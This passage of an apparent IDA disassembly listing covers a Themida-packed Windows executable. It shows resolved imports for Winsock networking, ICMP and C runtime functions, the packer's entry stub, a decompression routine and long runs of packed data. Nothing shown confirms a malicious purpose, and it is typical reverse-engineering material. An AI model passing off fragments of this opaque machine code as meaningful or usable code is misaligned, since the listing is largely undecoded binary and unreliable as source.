dup(0) ; ___:00419BB8o ... dword_50DB08 dd 0 ; sub_41A110+1Br ... dd 3 dup(0) dword_50DB18 dd 0 ; ___:0041FC3Dw ... dword_50DB1C dd 0 ; sub_41FB90+2Aw ... dword_50DB20 dd 0 dword_50DB24 dd 0 ; ___:0041FC5Bw dword_50DB28 dd 0 dword_50DB2C dd 0 ; ___:0041FC67w ... dword_50DB30 dd 0 ; ___:0041FC6Dw ... dword_50DB34 dd 0 ; ___:00420EA9o dword_50DB38 dd 0 ; sub_41FB90:loc_41FBB4r ... dword_50DB3C dd 0 ; ___:0041FC81w dword_50DB40 dd 0 ; sub_420630+41w ... dword_50DB44 dd 0 ; sub_420630+7Fr dword_50DB48 dd 0 ; sub_420630+92r ... dword_50DB4C dd 0 ; sub_420630+148r dd 3 dup(0) dword_50DB5C dd 0 ; ___:0041C2A5o dword_50DB60 dd 0 ; sub_423820+5r ... dword_50DB64 dd 0 ; ___:00423FABr ... dd 7CEh dup(0) dword_50FAA0 dd 6 dup(0) ; ___:00423EAFo ... dword_50FAB8 dd 196h dup(0) ; sub_423760+6Do dword_510110 dd 0 word_510114 dw 0 ; DATA XREF: sub_424F70+A9r align 4 word_510118 dw 0 ; DATA XREF: sub_4253C0+45r ; sub_4257F0+DAr align 4 dword_51011C dd 0 dd 0 byte_510124 db 0 ; DATA XREF: sub_4267D0:loc_426830r ; sub_4267D0+97w align 4 dword_510128 dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_427B10+D9r dword_51012C dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_427B10+45r dword_510130 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_427B10+54r ... align 8 dword_510138 dd 80h dup(0) ; sub_427D50+129o dword_510338 dd 0 dword_51033C dd 0 dd 1Dh dup(0) dword_5103B4 dd 0 ; ___:0042C40Dr ... dword_5103B8 dd 0 ; sub_42DE00:loc_42DE96r ... dword_5103BC dd 0 ; resolved to->WS2_32.connect ; sub_432570+2Dr ... dword_5103C0 dd 0 dword_5103C4 dd 0 ; sub_431560r ... dword_5103C8 dd 0 dword_5103CC dd 0 ; sub_4309A0+111w ... dword_5103D0 dd 0 ; sub_4309A0+F6r ... dword_5103D4 dd 0 ; ___:loc_4316A0r dword_5103D8 dd 0 ; resolved to->KERNEL32.InterlockedCompareExchange ; sub_4322D0+2Cr ... dd 2 dup(0) dd 0 dd 13Eh dup(0) dword_5108E0 dd 10h dup(0) ; sub_431470:loc_4314A0o ... dword_510920 dd 8 dup(0) ; sub_430830+25o ... dword_510940 dd 8 dup(0) ; sub_431980+25o ... dword_510960 dd 8 dup(0) ; sub_432850+84o ... dword_510980 dd 8 dup(0) ; sub_432850+8Bo ... dword_5109A0 dd 9 dup(0) ; sub_4309A0:loc_430AB7o ... dd 0FFFFFFFFh, 3 dup(0) dd 0FFFFFFFFh, 18Ah dup(0) dd 5 dup(8AA6605h), 5 dup(71D92A02h), 5 dup(31540AF5h) dd 5 dup(5D5512EAh), 5 dup(0EA5CC7Bh), 5 dup(108DBD77h) dd 5 dup(5794B789h), 5 dup(6B64E8DCh), 5 dup(3D214508h) dd 5 dup(33165203h), 5 dup(3FF0D1B3h), 1Eh dup(0) dd 108DBD77h, 10h dup(0) dd 3FF0D1B3h, 59h dup(0) ; --------------------------------------------------------------------------- jmp far ptr loc_5D5512 ; --------------------------------------------------------------------------- align 4 dd 1Bh dup(0) dd 3D214508h, 14h dup(0) dd 71D92A02h, 52h dup(0) dd 8AA6605h, 1Bh dup(0) dd 33165203h, 0Bh dup(0) dd 5794B789h, 0Ch dup(0) dd 0EA5CC7Bh, 2Bh dup(0) dd 6B64E8DCh, 11h dup(0) dd 31540AF5h, 0Ah dup(0) dd 2890ACFh, 28A0000h, 28B0000h dword_511718 dd 28B15ACh ; --------------------------------------------------------------------------- jmp short loc_511734 ; --------------------------------------------------------------------------- dw 28Bh dword_511720 dd 28B1A21h dd 28C0000h, 28C01C0h dword_51172C dd 28D0000h dd 28E0000h ; --------------------------------------------------------------------------- loc_511734: ; CODE XREF: ___:0051171Cj in al, 4 ; DMA controller, 8237A-5. ; channel 2 current address mov es, word ptr [edx] mov cl, 8 mov es, word ptr [edx] popf or al, 8Eh ; --------------------------------------------------------------------------- db 2 dword_511740 dd 28F0000h ; sub_40E870+25Ar ... dword_511744 dd 28F042Ch dword_511748 dd 28F06ECh dd 28F07EAh, 28F0BCBh dword_511754 dd 2900000h ; sub_40EE40+15Er ... dd 2900240h dword_51175C dd 2910000h ; sub_40E870+22Cr dd 2910CF4h dword_511764 dd 2920000h ; sub_4208E0+285r ... dd 2930000h dword_51176C dd 2931229h ; sub_40E870+24Cr dd 10h dup(0) dd 76F36C5Bh, 0Bh dup(0) dword_5117E0 dd 2700000h ; sub_420630+FEr dd 2710000h, 2720000h, 27206FCh, 2720865h, 2720B15h, 2720C85h dd 2730000h, 273069Eh, 2730A42h, 2730D68h, 2740000h, 27405E8h dd 2740638h, 2740A1Bh, 2750000h, 275032Eh, 27506C3h, 27508A4h dd 2750BEAh, 2760000h, 27606A3h, 2760726h, 2760A73h, 2760C27h dd 2760E22h, 2770000h, 2770234h, 2770366h, 2770483h, 2770668h dd 2770713h, 2780000h dword_511864 dd 2780801h dword_511868 dd 2790000h dword_51186C dd 2790219h dd 7C901005h, 7C9010EDh, 2790494h, 27904BEh, 27904D9h dd 279068Fh, 27A0000h, 27A036Ah, 27A05EAh, 27B0000h, 27C0000h dd 27C0828h, 27D0000h, 27E0000h, 27E0830h dword_5118AC dd 27E0BCDh ; sub_410030+47r ... dd 27E0C62h, 27F0000h, 27F0399h, 2800000h, 2801206h, 2810000h dd 2820000h dword_5118CC dd 28218E2h dd 2821B40h, 2830000h dword_5118D8 dd 283030Ah ; sub_41B5B0+2Fr ... dd 28303F9h dword_5118E0 dd 28309C5h ; sub_4204D0+2Er ... dd 2840000h, 284037Eh, 2850000h dword_5118F0 dd 28503BDh dd 285063Fh, 2860000h, 2870000h, 28711A2h, 2871D5Ch, 2880000h dd 2880781h, 2880B97h dd 2880CC0h dword_511918 dd 2890000h ; sub_420630:loc_42067Cr ... dd 1Ah dup(0) dd 71B2578Ch, 71B2517Fh, 71B25099h, 0Bh dup(0) dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh dword_5119E0 dd 760AC190h dd 0Dh dup(0) ; --------------------------------------------------------------------------- xchg eax, esp pop esp retn ; --------------------------------------------------------------------------- ja short loc_511A99 push ebx retn ; --------------------------------------------------------------------------- db 77h db 0DBh ; ш db 0F1h ; Я db 0C1h ; а db 77h ; w ; --------------------------------------------------------------------------- loc_511A24: ; CODE XREF: ___:00511A34j movsb icebp sal dword ptr [edi-28h], 23h mov byte ptr [edi+75h], 0D6h les esi, [edi+67h] popf retn ; --------------------------------------------------------------------------- db 77h ; --------------------------------------------------------------------------- jmp short loc_511A24 ; --------------------------------------------------------------------------- sal dword ptr [edi-54h], 17h mov byte ptr [edi-52h], 2Dh retn ; --------------------------------------------------------------------------- db 77h dd 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h, 77C40BB1h dd 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h, 77C3A3DBh dd 77C4186Ah dword_511A6C dd 77C3F931h ; resolved to->MSVCRT.sprintf ; sub_42E5B0+53r ... dword_511A70 dd 77C1F2BCh ; resolved to->MSVCRT._errno dd 77C371FAh, 77C36DF2h dword_511A7C dd 77C5F97Ch ; resolved to->MSVCRT.__mb_cur_max dd 77C4EE2Fh, 77C227FAh, 77C2C0C3h dword_511A8C dd 77C40E13h ; resolved to->MSVCRT.fprintfdword_511A90 dd 77C5FC80h ; resolved to->MSVCRT._iob ; sub_42DE00+4Ar ... ; --------------------------------------------------------------------------- imul dh retn ; --------------------------------------------------------------------------- db 77h db 72h ; --------------------------------------------------------------------------- loc_511A99: ; CODE XREF: ___:00511A1Bj sbb eax, esp ; --------------------------------------------------------------------------- db 77h dword_511A9C dd 77C47BE0h ; resolved to->MSVCRT.strrchrdword_511AA0 dd 77C4173Bh ; resolved to->MSVCRT.fwritedword_511AA4 dd 77C4139Ch ; resolved to->MSVCRT.fseekdword_511AA8 dd 77C4624Eh ; resolved to->MSVCRT._stricmpdword_511AAC dd 77C41574h ; resolved to->MSVCRT.ftelldword_511AB0 dd 77C411FBh ; resolved to->MSVCRT.fread dd 77C40E76h dword_511AB8 dd 77C47E61h ; resolved to->MSVCRT.wcscat ; ___:0041C3DAr ; --------------------------------------------------------------------------- adc al, dh retn ; --------------------------------------------------------------------------- db 77h dd 77C40AB1h, 77C4FA10h dword_511AC8 dd 77C371D3h ; resolved to->MSVCRT.rand ; sub_41BA50+17Er ... dd 77C371BCh dword_511AD0 dd 77C2C21Bh ; resolved to->MSVCRT.free ; sub_42F2C0+34r ... dd 77C2C407h dword_511AD8 dd 77C47920h ; resolved to->MSVCRT.strncat dd 77C39E7Eh dword_511AE0 dd 77C47A50h ; resolved to->MSVCRT.strncmp ; sub_42DE00+90r dword_511AE4 dd 77C3FA76h ; resolved to->MSVCRT._snprintf ; sub_426070+C8r ... db 90h db 0CFh, 0C1h, 77h dword_511AEC dd 77C47660h ; resolved to->MSVCRT.strchr db 8Ah, 0FFh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 77h ; --------------------------------------------------------------------------- mul byte ptr [esi] retn 0E777h ; --------------------------------------------------------------------------- db 14h, 0C2h, 77h dd 77C29CC5h dword_511B00 dd 77C47CE5h ; resolved to->MSVCRT.strtok ; sub_41BD90+5Dr dword_511B04 dd 77C47C60h ; resolved to->MSVCRT.strstr ; sub_410030+1126r ... dword_511B08 dd 77C47A90h ; resolved to->MSVCRT.strncpy ; ___:00419CDAr dd 77C29CDDh, 77C293C7h dword_511B14 dd 77C1BF18h ; resolved to->MSVCRT.atoi ; sub_422B40+203r ... dd 77C35F0Dh dword_511B1C dd 77C5F988h ; resolved to->MSVCRT._pctype dd 77C46170h, 77C1C561h, 77C46125h dd 77C46320h dd 19h dup(0) dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh dup(0) dd 7CA41110h, 0Bh dup(0) dd 2890754h off_511C00 dd offset sub_5F74D1 ; DATA XREF: ___:00419FBDr ; sub_41A050+2Dr ... dd 0Bh dup(0) dd 71AB951Eh, 71AB3E00h dword_511C38 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_425100:loc_4251B2r ... dword_511C3C dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_42B8E0:loc_42B99Br dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h dword_511C50 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError dd 71AB4544h, 71AC0B50h dword_511C5C dd 71AB2B66h ; resolved to->WS2_32.ntohs dd 71AB2BC0h dword_511C64 dd 71AB2D0Fh ; resolved to->WS2_32.recvfromdword_511C68 dd 71AB2C69h ; resolved to->WS2_32.sendto ; sub_42B8E0+F9r dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh dd 71AB2A5Eh, 71AB4FD4h dword_511C88 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa dd 71AB88D3h, 71AB2BC0h dword_511C94 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_41A7D0+48r ... dword_511C98 dd 71AC1028h ; resolved to->WS2_32.acceptdword_511C9C dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_41F960+198r ... dword_511CA0 dd 71AB428Ah ; resolved to->WS2_32.send ; ___:004217E1r ... dword_511CA4 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_4253C0+8Br ... dd 71AB2BF4h dword_511CAC dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_42C830+E8r dd 71ABE479h, 11h dup(0) dd 76D6AC1Dh, 4C1h dup(0) ___ ends ; Section 2. (virtual address 00113000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00113000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 513000h align 2000h _rsrc___ ends ; Section 3. (virtual address 00114000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00114000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 514000h dd 7C801A24h, 7C81CDDAh, 0 aE db 'оe',9,']',0 align 10h dd 114050h, 114000h, 3 dup(0) dd 114079h, 11400Ch, 5 dup(0) aKernel32_dll_1 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 00115000) ; Virtual size : 00104000 (1064960.) ; Section size in file : 00104000 (1064960.) ; Offset to raw data for section: 00115000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 515000h dd 7489358Ch, 42C95h, 5F805h, 15A172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 00515265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00583441 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058698A SIZE 00000062 BYTES ; FUNCTION CHUNK AT 00586C00 SIZE 0000005C BYTES mov eax, 0 pusha or eax, eax jz short loc_515086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_515041 popa jmp short loc_515076 ; --------------------------------------------------------------------------- a7pq db 'ш-7PQ',0 db 0FFh dd 0FFFFFFFFh, 3DFFFFFFh db 40h ; --------------------------------------------------------------------------- loc_515041: ; CODE XREF: start+18j call $+5 pop eax and eax, 0FFFFF000h xor edi, edi loc_51504E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_51506D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_515074 loc_51506D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_51504E ; --------------------------------------------------------------------------- loc_515074: ; CODE XREF: start+57j mov edi, eax loc_515076: ; CODE XREF: start+1Bj jmp loc_515265 ; --------------------------------------------------------------------------- db 3 dd 526AB9C7h, 0CF030011h db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_515086: ; CODE XREF: start+8j mov eax, offset loc_583441 mov ecx, offset word_51526A push eax push ecx call sub_51511B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_515265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- aUFkxB db '(⌠иД┼x╪^│',0 dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h, 3163C78Eh dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh dd 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_51511B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_515127: ; CODE XREF: sub_51511B:loc_51513Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_515132: ; CODE XREF: sub_51511B+7Aj ; sub_51511B+C3j ... add dl, dl jnz short loc_51513B mov dl, [esi] inc esi adc dl, dl loc_51513B: ; CODE XREF: sub_51511B+19j jnb short loc_515127 add dl, dl jnz short loc_515146 mov dl, [esi] inc esi adc dl, dl loc_515146: ; CODE XREF: sub_51511B+24j jnb short loc_515197 xor eax, eax add dl, dl jnz short loc_515153 mov dl, [esi] inc esi adc dl, dl loc_515153: ; CODE XREF: sub_51511B+31j jnb loc_515238 add dl, dl jnz short loc_515162 mov dl, [esi] inc esi adc dl, dl loc_515162: ; CODE XREF: sub_51511B+40j adc eax, eax add dl, dl jnz short loc_51516D mov dl, [esi] inc esi adc dl, dl loc_51516D: ; CODE XREF: sub_51511B+4Bj adc eax, eax add dl, dl jnz short loc_515178 mov dl, [esi] inc esi adc dl, dl loc_515178: ; CODE XREF: sub_51511B+56j adc eax, eax add dl, dl jnz short loc_515183 mov dl, [esi] inc esi adc dl, dl loc_515183: ; CODE XREF: sub_51511B+61j adc eax, eax jz short loc_51518D push edi sub edi, eax mov al, [edi] pop edi loc_51518D: ; CODE XREF: sub_51511B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_515132 ; --------------------------------------------------------------------------- loc_515197: ; CODE XREF: sub_51511B:loc_515146j mov eax, 1 loc_51519C: ; CODE XREF: sub_51511B:loc_5151B0j add dl, dl jnz short loc_5151A5 mov dl, [esi] inc esi adc dl, dl loc_5151A5: ; CODE XREF: sub_51511B+83j adc eax, eax add dl, dl jnz short loc_5151B0 mov dl, [esi] inc esi adc dl, dl loc_5151B0: ; CODE XREF: sub_51511B+8Ej jb short loc_51519C sub eax, ebx mov ebx, 1 jnz short loc_5151E3 mov ecx, 1 loc_5151C0: ; CODE XREF: sub_51511B:loc_5151D4j add dl, dl jnz short loc_5151C9 mov dl, [esi] inc esi adc dl, dl loc_5151C9: ; CODE XREF: sub_51511B+A7j adc ecx, ecx add dl, dl jnz short loc_5151D4 mov dl, [esi] inc esi adc dl, dl loc_5151D4: ; CODE XREF: sub_51511B+B2j jb short loc_5151C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_515132 ; --------------------------------------------------------------------------- loc_5151E3: ; CODE XREF: sub_51511B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_5151F1: ; CODE XREF: sub_51511B:loc_515205j add dl, dl jnz short loc_5151FA mov dl, [esi] inc esi adc dl, dl loc_5151FA: ; CODE XREF: sub_51511B+D8j adc ecx, ecx add dl, dl jnz short loc_515205 mov dl, [esi] inc esi adc dl, dl loc_515205: ; CODE XREF: sub_51511B+E3j jb short loc_5151F1 cmp eax, 7D00h jnb short loc_515228 cmp eax, 500h jb short loc_515223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_515132 ; --------------------------------------------------------------------------- loc_515223: ; CODE XREF: sub_51511B+F8j cmp eax, 7Fh ja short loc_51522B loc_515228: ; CODE XREF: sub_51511B+F1j add ecx, 2 loc_51522B: ; CODE XREF: sub_51511B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_515132 ; --------------------------------------------------------------------------- loc_515238: ; CODE XREF: sub_51511B:loc_515153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_515259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_515132 ; --------------------------------------------------------------------------- loc_515259: ; CODE XREF: sub_51511B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_51511B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_515265: ; CODE XREF: start:loc_515076j ; start+9Dj jmp loc_583441 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_51526A dw 38E9h ; DATA XREF: start+77o dd 1563544h, 8478F3EBh, 52E0EA6Ah, 741C7365h, 41CE7261h dd 4F2E2F70h, 0FF239C78h, 4F038FCh, 98A2BB46h, 0FFFA102Eh dd 77540124h, 0F701A15Fh, 0C22145DCh, 35F95D37h, 0D7D70817h dd 65685480h, 7064696Dh, 54F78761h, 0D7DC959Dh, 0E10392E6h dd 11C8BB1Ah, 0F2FB42B8h, 6B843B22h, 0E17122BFh, 8A24BC0Bh dd 477EEC53h, 33CABF01h, 6B845B01h, 2E36F2EBh, 39FDAB10h dd 8B1CBF78h, 60D485C5h, 5D0A00E8h, 3553ED81h, 8907FA03h dd 82DB195h, 32C5B50Dh, 1DD58584h, 71BD8301h, 74000706h dd 0E4E88B0Ch, 69B850E2h, 708EF7C2h, 3E382444h, 6A812B45h dd 0C1A3E8D4h, 749A6829h, 0DFD2F383h, 4B250A80h, 0D5F40A89h dd 4814E988h, 0A0AF2402h ; --------------------------------------------------------------------------- push ebp mov ebp, esp adc eax, 0EED8C483h sbb byte ptr [edx-7Fh], 0EAh inc ecx or byte ptr ss:[ebx+45C712DAh], 0D8h ; CODE XREF: Themida_:0051536Bj or ss:[esi], cl xor [eax-77h], eax or [ecx-737F0683h], al sbb eax, 8200F74h inc byte ptr [ebx+3010AB49h] call dword ptr [edx] inc ebx jmp short near ptr loc_515349+5 ; --------------------------------------------------------------------------- db 0C6h, 36h, 0DCh dd 0C9E82661h, 4604C228h, 7CC4810Dh, 491C02FFh, 458D888Ah dd 5D8B8002h, 8885C708h, 8D945019h, 0C3D1010Ah, 89411888h dd 0BD810B51h, 5D050644h, 2728E375h, 64BA518Dh, 98075D8h dd 0F4BB0E8Ah, 0F0B85B27h, 0D3785437h, 0F61D07Eh, 0F7754B08h dd 29C3AFD8h, 234A4647h, 42F91546h, 8A61D115h, 0F03AD0D0h dd 45EEC5FEh, 0EB4D05FCh, 46AD1E04h, 403E8046h, 84BAF729h dd 7D3034B7h, 0C87FEB0Ch, 6D66F83Eh, 65F04212h, 1040F40Eh dd 0F065C14Ah, 0F8D6A004h, 3E01CD1h, 3328B0C2h, 1C0E8ADBh dd 66FB8030h, 1E0A0A72h, 9F057739h, 223379EBh, 0DFB6114h dd 0B7660A3Fh, 0A7AF1E08h, 10560AC3h, 7241181Ah, 77460A0Bh dd 5124066Fh, 0F05D010Ch, 8339F4ECh, 72028D7Dh, 0C09B0CB0h dd 0AAB3A576h, 0E7F82620h, 0B58D03h, 0FC553BA8h, 7854820Fh dd 0AAE0B0BDh, 0BA2838DFh, 0B9700870h, 0BDFC7054h, 737D020h dd 49470FFEh, 22B97375h, 0BBB86A8Bh, 120E5101h, 0DBEB82F1h dd 868EB002h, 0FB391FC4h, 1B65D608h, 72FF1DECh, 785268Ah dd 590500E9h, 0B4D9B810h, 8252CF00h, 25721CDCh, 5C7741h dd 8ED396D4h, 6BC32C2Dh, 0E956010Ch, 39213D04h, 8A01C45Eh dd 8205256Dh, 17089845h, 0C564621h, 6EEE51C4h, 0DEC0F17Ch dd 8CDBC010h, 13470CBh, 4E398267h, 830F765Bh, 43D518Ch dd 0B33BE3D1h, 754A0E46h, 11AC2E09h, 0EC05480Eh, 69065E4h dd 0C5846400h, 54968E05h, 8F5381D7h, 29C2040Ah, 0C0718C8Ch dd 0A60EDBE7h, 2B0CFFB3h, 22047781h, 0C134011Dh, 7533F984h dd 3FBC9020h, 670A7677h, 330230EFh, 8C89EC41h, 0FFCC9F7Fh dd 45CF4090h, 5060E9EAh, 5200C462h, 11254D8Ch, 84B1AA82h dd 845AABCDh, 0A6561308h, 825E0AE7h, 0A881E2EEh, 8AA04408h dd 13A2B9FAh, 28972305h, 8C521043h, 0DFD740F2h, 6712D9F0h dd 208DA8Dh, 0C459C351h, 18458A91h, 5141881Ch, 8753C400h dd 5E9C2ED9h, 9D3B50A0h, 5ADF06CCh, 2D188F10h, 0B13EA30h dd 7883F2h, 498A6C87h, 3CC2722h, 2D910C01h, 0C4F31FE6h dd 0D18044B9h, 5E281D5h, 90331061h, 0BAF64302h, 0B863A084h dd 0E70B62CAh, 0C75086F0h, 63BC6719h, 0EED1C814h, 6954434h dd 0A6FA8B21h, 0C87CD803h, 5344EA0Dh, 1EA2841Bh, 31AA30h dd 392ADF88h, 14DC94B9h, 0A821014h, 29902852h, 0DA8C6714h dd 3229F4Bh, 39F08161h, 0A6F98A62h, 921EB209h, 0C45F3057h dd 75468AE4h, 47001622h, 2E78C457h, 315BC881h, 9650FE8Bh dd 7E90121h, 40502B80h, 914C9C54h, 45EA5B28h, 0EFEE0400h dd 9070973Ah, 0B5C31482h, 0CC1E5E6Bh, 111B9BBCh, 0EB36F8F9h dd 59FA3380h, 4715EA30h, 917A7B5h, 0E25C29F9h, 223BDC80h dd 610044E1h, 0F3CD6A43h, 90829C7Ah, 5C340757h, 73D4BA6Dh dd 0F1D85972h, 0DD739F3Dh, 5514EA30h, 76608ECh, 5370C497h dd 46D6C1C9h, 7AD73030h, 60CEEF0Ch, 7BC55276h, 60EAEEAAh dd 272C3D12h, 0ACF61CAEh, 8961CA00h, 8E203E77h, 5F18006Eh dd 390512Ch, 509EB84h, 0F4C6053h, 5D4A5628h, 5E806E61h dd 980E117Ch, 3DDE0010h, 914E71DFh, 7EE8381Fh, 0A8C25E00h dd 62C48C2Eh, 72920359h, 0CB953E31h, 83A7BCEBh, 87CAA4Ah dd 1F066000h, 0CA34625Ch, 0BC8B00A7h, 0CF2532E1h, 0FB003664h dd 0DEAA5550h, 169BF0Eh, 8C6A9BBBh, 80676EFEh, 82339459h dd 0DD4942h, 29AE073Bh, 5CEDC29Fh, 0EBAD9A01h, 7CC8D7A5h dd 0F1337F0h, 8D481E27h, 0C7A38C9Fh, 0DA300418h, 17AE5071h dd 689A6C16h, 8E0FB194h, 0C663338Ah, 2088BD3Bh, 0CF08AD79h dd 81706F13h, 0E058B792h, 850821F0h, 0CC352838h, 68F58043h dd 1F9A6ABh, 6152F6DEh, 48A349B5h, 21C02490h, 0C6E8051Fh dd 643F008Bh, 313DC859h, 0BA0CA9B5h, 292ACBB1h, 0C2CE00BFh dd 2588D0Ch, 0B5001A6Eh, 97B9324Ch, 0C383B34Ah, 0B6A569E8h dd 13B5790Ch, 1527174h, 8DD141D2h, 808F5789h, 81BD42A9h dd 0ECD814h, 339EA670h, 8BEB032Ah, 60F580A0h, 0B819F900h dd 0C8E9C6FDh, 0DFF202C1h, 88F0EF0Eh, 0B24A8C83h, 0CDD7101h dd 1F1868C6h, 97E477E5h, 0E6BF072Dh, 20AC4FF5h, 0F690BCF0h dd 0A5007EE2h, 0AA521DCEh, 808E472Bh, 0F8005003h, 0D25C872Fh dd 1D974FC1h, 30DB0B8Ah, 8CFE9420h, 0A6B09A50h, 0F6F04044h dd 8DFC054Fh, 204A53CCh, 6B33D580h, 12E13007h, 5B71E940h dd 94512804h, 414BCAAh, 58F43A0h, 945D3A07h, 7B3B3783h dd 0D18287Dh, 3431C0B2h, 9AEBC35Dh, 87ED223Ch, 2B330E90h dd 55B74B10h, 8A8CA09Dh, 0DD45F023h, 2FCCCAB8h, 73CF80E4h dd 7982296Dh, 9AEC75FAh, 0F5CB148h, 0A17BECFFh, 14E7C8EEh dd 0F0613180h, 8F286405h, 859FB31h, 0EC51666Eh, 8B30A557h dd 0CB679FDh, 7F8545D7h, 2090AA28h, 8EDEF8EDh, 0A85A1724h dd 924454A8h, 0EBB80AEFh, 9D2F369h, 9008AD6Bh, 1EE70888h dd 0F9B430BBh, 11119C9h, 0F5049DB7h, 0CB050B35h, 74FA4AB8h dd 52ADC8C0h, 0C0CB5739h, 43BC6361h, 1002155h, 5394DA42h dd 58B5D1h, 78395FDCh, 0C919D259h, 0F12EF530h, 501B3BAAh dd 0CF79C6Dh, 0B98FA68Ah, 47104598h, 0F5387AB2h, 98DBFE94h dd 0A2223E04h, 96C482F0h, 0A6728CA0h, 3960B80Bh, 5ED19848h dd 32EF813h, 0ED40968Dh, 4FC938D7h, 0EE50802Fh, 3C91CAF0h dd 9CB0330h, 67FE8361h, 0ECE43580h, 42647C00h, 3969AAE1h dd 0F13E1E87h, 8307C191h, 0F4A74BFFh, 0E0074C58h, 0E2EFB6FEh dd 0DB86DCA0h, 2CB778C3h, 37723Eh, 1F743F2h, 0CB3EE878h dd 91E900ACh, 6BBE6284h, 3FE5009Dh, 0F1B4496Fh, 5000C5FEh dd 3CFBFFACh, 7DC8CAE1h, 927C0258h, 0C2F3AF79h, 25578C83h dd 0F84531C0h, 1B9DEA09h, 4B80A3B7h, 6902F423h, 0E4A03FA7h dd 65EF4946h, 1208AB48h, 54213382h, 0A0516B6Eh, 0A8F892BBh dd 0C4D63EF5h, 4650E381h, 24DDEF91h, 990A3570h, 0B827CC9Fh dd 3707C182h, 4ED8E081h, 91DE002Ch, 2778B2B9h, 3E2420C3h dd 251184DCh, 0F5D2DE00h, 0C3C05B9Eh, 0CBC7F00h, 0FF1974B0h dd 2428E275h, 82249033h, 0A12DB70Eh, 273BD468h, 0C8B06962h dd 0FC288AEFh, 1297CF60h, 85BE0C9Eh, 1F0ED1E5h, 20841950h dd 0A3133504h, 0BC8164E6h, 0E0322D7Ah, 808FBE10h, 9ECDD6F1h dd 2CAA4954h, 43331974h, 713F78A2h, 34C8CE37h, 0B7180F12h dd 83A0A565h, 1F4B0C77h, 3710B31Eh, 0ECF5FF02h, 40E807FDh dd 0F0C8DF58h, 88B9D426h, 80794C37h, 0B807F5EDh, 85DF58C0h dd 2AC127E3h, 3F847368h, 0E1C04E17h, 0F5C56E0Ch, 53284911h dd 0E708983Ah, 35008F2Dh, 0B3A2866Eh, 20966032h, 2C034A3Fh dd 0E0E288A0h, 0F82014B0h, 20CB3030h, 14807351h, 65065400h dd 313796F1h, 81381C57h, 18F26F9h, 